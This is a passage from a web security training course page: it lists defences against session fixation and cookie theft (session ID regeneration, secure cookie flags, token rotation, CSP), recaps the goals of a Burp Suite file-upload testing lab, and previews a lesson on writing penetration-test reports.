  • We can set cookies with HttpOnly and use the Secure flags to prevent JavaScript access.

  • After authentication website need to regenerate the session id always.

  • Check the session ID remains the same before login and after authentication if the session id remain same and it is vulnerable to Session Fixation.

  • To mitigate session fixation in PHP, regenerate the session ID immediately upon user authentication or privilege change using session_regenerate_id(true) and harden your php.ini or runtime settings to block URL-based or uninitialized session IDs.

  • Token Rotation: Issue fresh tokens or refresh token families on use so that replayed or stolen legacy tokens are immediately invalidated.

  • Avoid Custom Formats: Never use weak, predictable string concatenations or custom encodings; rely on standard cryptographic frameworks backed by cryptographically secure pseudo-random number generators (CSPRNGs).

  • We can also implement the Content Security Policy (CSP) to mitigate XSS attacks on the websites or applications.

  • Use the SameSite=Strict cookies to prevent cross-site session fixation attacks.

 

Great job!

  • Successfully intercept and analyze file upload requests using Burp Suite.

  • Identify weak file validation mechanisms by testing file extensions, MIME types, and file content in the controlled lab.

  • Verify upload security controls, assess server-side execution risks, and document findings with appropriate mitigation recommendations.

Checkpoint

Next-Lab Preparation

Topic : Reporting and Security Practices

1) Writing vulnerability assessment and penetration testing reports